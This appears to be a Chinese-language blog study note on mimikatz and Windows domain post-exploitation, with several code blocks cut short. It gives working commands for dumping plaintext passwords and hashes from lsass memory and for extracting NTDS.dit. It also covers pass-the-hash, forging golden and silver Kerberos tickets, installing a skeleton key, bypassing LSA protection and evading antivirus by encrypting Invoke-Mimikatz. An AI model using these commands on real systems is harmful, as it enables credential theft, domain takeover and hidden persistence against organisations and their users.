mimikatz学习笔记
标准模块:
standard - 标准模块 [Basic commands (does not require module name)] |
基础用法:获取windows系统明文密码及HASH
1.提权
由于是要操纵系统内存的,所以需要Debug权限
privilege::debug |
2.抓取
sekurlsa::logonPasswords |
如果报错,可能是注册表问题,尝试在cmd中输入如下命令(管理员模式)
reg add hklm\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential |
原理:
当用户登陆后,会把账号密码保存在 Isass中,Isass是微软 Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其 Wdigest和 tspg两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而mimikatz正是通过对lsass的逆算获取到明文密码
注:但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。
mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行。
获取系统HASH
本地执行:
#提升权限 |
当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。如下:
cmd修改注册表命令:
Copyreg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f |
SAM表获取hash:
# 非在线获取,没有将mimikatz传到目标机器上去,就要想办法将这两个文件获取下来(需要管理员权限) |
Procdump+Mimikatz:
当mimikatz无法在主机上运行时,可以使用微软官方发布的工具Procdump导出lsass.exe:
# 先使用procdump导出文件 |
读取域控中域成员Hash
域控本地读取
注:得在域控上以域管理员身份执行mimikatz
方法一:直接执行
#提升权限 |
方法二:通过 dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值,可以在域管权限下执行获取:
#获取所有域用户 |
导出域成员Hash
域账户的用户名和hash密码以域数据库的形式存放在域控制器的 %SystemRoot%\ntds\NTDS.DIT
文件中。
这里可以借助:ntdsutil.exe
,域控制器自带的域数据库管理工具,我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:
#创建快照 |
将ntds.dit文件拷贝到本地利用impacket脚本dump出Hash:
Copysecretsdump.py -ntds.dit -system system.hive LOCAL |
最后记得卸载删除快照:
ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit |
secretsdump脚本直接导出域hash
可以直接导出,说白了,简单粗暴:
Copypython secretsdump.py rabbitmask:123456@192.168.15.181 |
首先它会导出本地SAM中的hash,然后是所有域内用户的IP,全部获取成功
哈希传递攻击(PTH)
工作组环境
当我们获得了一台主机的NTLM哈希值,我们可以使用mimikatz对其进行哈希传递攻击。执行完命令后,会弹出cmd窗口。
#使用administrator用户的NTLM哈希值进行攻击 |
#使用test用户的NTLM哈希值进行攻击 |
在弹出的cmd窗口,我们直接可以连接该主机,并且查看该主机下的文件夹。
注:只能在 mimikatz 弹出的 cmd 窗口才可以执行这些操作,注入成功后,可以使用psexec、wmic、wmiexec等实现远程执行命令。
域环境
在域环境中,当我们获得了域内用户的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域控进行哈希传递攻击。执行完命令后,会弹出cmd窗口。前提是我们必须拥有域内任意一台主机的本地 administrator 权限和获得了域用户的NTLM哈希值
#使用域管理员administrator的NTLM哈希值对域控进行哈希传递攻击 |
#使用域用户test的NTLM哈希值对域控进行哈希传递攻击 |
MSF进行哈希传递
有些时候,当我们获取到了某台主机的Administrator用户的LM-Hash和 NTLM-Hash ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec
漏洞用MSF进行远程登录(哈希传递攻击)。(只能是administrator用户的LM-hash和NTLM-hash),这个利用跟工作组环境或者域环境无关。
msf > use exploit/windows/smb/psexec |
票据传递攻击(PTT)
黄金票据
域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的,因此只要获取到了 krbtgt 用户的密码 Hash ,就可以随意伪造 Ticket ,进而使用 Ticket 登陆域控制器,使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket,此类攻击方法被称为票据传递攻击。
首先获取krbtgt的用户hash:
mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt" |
利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:
kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi |
白银票据
黄金票据和白银票据的一些区别:Golden Ticket:伪造TGT,可以获取任何 Kerberos 服务权限,且由 krbtgt 的 hash 加密,金票在使用的过程需要和域控通信
白银票据:伪造 TGS ,只能访问指定的服务,且由服务账号(通常为计算机账户)的 Hash 加密 ,银票在使用的过程不需要同域控通信
#在域控上导出 DC$ 的 HASH |
skeleton key
skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注 入,所以重启后会失效。
Copy#在域控上安装 skeleton key |
微软在 2014 年 3 月 12 日添加了 LSA 爆护策略,用来防止对进程 lsass.exe 的代码注入。如果直接尝试添加 skelenton key 会失败。
Copy#适用系统 |
当然 mimikatz 依旧可以绕过,该功能需要导入mimidrv.sys文件,导入命令如下:
Copyprivilege::debug |
MS14-068
当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限。如果域控服务器存在 MS14_068 漏洞,并且未打补丁,那么我们就可以利用 MS14_068 快速获得域控服务器权限。
MS14-068编号 CVE-2014-6324,补丁为 3011780 ,如果自检可在域控制器上使用命令检测。
Copysysteminfo |find "3011780" |
导出chrome密码
也有其他工具
免杀
Powersploit中提供的很多工具都是做过加密处理的,同时也提供了一些用来加密处理的脚本,Out-EncryptedScript就是其中之一。
首先在本地对Invoke-Mimikatz.ps1进行加密处理:
Copypoweshell.exe Import-Module .\Out-EncryptedScript.ps1 |
将加密生成的evil.sp1脚本放在目标机上,执行如下命令:
Copy#远程加载解密脚本 |
也可以自己修改mimikatz源码进行免杀。